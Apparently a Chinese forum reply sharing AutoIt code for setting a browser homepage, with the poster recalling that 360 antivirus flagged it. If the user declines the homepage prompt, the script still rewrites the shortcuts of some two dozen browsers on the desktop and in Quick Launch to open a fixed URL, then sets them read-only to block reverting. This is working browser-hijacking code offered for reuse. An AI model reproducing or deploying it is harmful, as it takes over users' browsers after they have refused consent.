我当年是这样干的,但是我记得360会报修改桌面快捷方式~!!
Global $IEReg1 = "HKEY_CURRENT_USER\Software\Microsoft\"
Global $IEReg2 = "HKEY_CURRENT_MACHINE\Software\Microsoft\"
Global $IE = "http://www.baidu.com/?test"
Global $Desktop = @DesktopDir & "\上网导航.url"
Func iehome()
$Homepage = RegRead($IEReg1 & "Internet Explorer\Main", "Start Page")
$names = "2345王牌浏览器.lnk|UC浏览器|2345智能浏览器.lnk|傲游浏览器.lnk|2345加速浏览器.lnk|猎豹浏览器.lnk|Google Chrome 浏览器.lnk|Google Chrome.lnk|Maxthon.lnk|Mozilla Firefox.lnk|Launch Internet Explorer Browser.lnk|启动 Internet Explorer 浏览器.lnk|Internet Explorer.lnk|360极速浏览器.lnk|安全浏览器.lnk|360浏览器.lnk|360安全浏览器.lnk|Opera.lnk|网址导航.lnk|Firefox.lnk|搜狗高速浏览器.lnk|百度浏览器.lnk|QQ浏览器.lnk"
$names1 = StringSplit($names, "|")
If $Homepage <> $IE Then
$szhg = MsgBox(68, "设置主页", "是否设置**** 作为IE浏览器主页?" & @CRLF & @CRLF & "设置后,将永不出现本提示!")
If $szhg = 6 Then
RegWrite($IEReg1 & "Internet Explorer\Main", "Start Page", "REG_SZ", $IE)
RegWrite($IEReg1 & "Internet Explorer\Main", "Default_Page_URL", "REG_SZ", $IE)
RegWrite($IEReg2 & "Internet Explorer\Main", "Start Page", "REG_SZ", $IE)
RegWrite($IEReg2 & "Internet Explorer\Main", "Default_Page_URL", "REG_SZ", $IE)
RegWrite($IEReg2 & "Internet Explorer\Main", "First Home Page", "REG_SZ", $IE)
Else
;;==>>>>>>创建快捷方式=
For $i = 1 To $names1[0]
$lnkpath1 = @DesktopDir & "\" & $names1[$i]
$lnkpath2 = @DesktopCommonDir & "\" & $names1[$i]
$lnkpath3 = @AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $names1[$i]
If FileExists($lnkpath1) Then
modifylnk($lnkpath1)
EndIf
If FileExists($lnkpath2) Then
modifylnk($lnkpath2)
EndIf
If FileExists($lnkpath3) Then
modifylnk($lnkpath3)
EndIf
Next
EndIf
EndIf
EndFunc ;==>iehome
Func modifylnk($lnkpath)
$Ddetails = FileGetShortcut($lnkpath)
If $Ddetails[2] <> $IE Then
If StringInStr(FileGetAttrib($lnkpath), "R") Then
FileSetAttrib($lnkpath, "-R")
EndIf
$mok = FileCreateShortcut($Ddetails[0], $lnkpath, $Ddetails[1], $IE, $Ddetails[3], $Ddetails[4], "", $Ddetails[5], $Ddetails[6])
FileSetAttrib($lnkpath, "+R")
EndIf
EndFunc ;==>modifylnk
|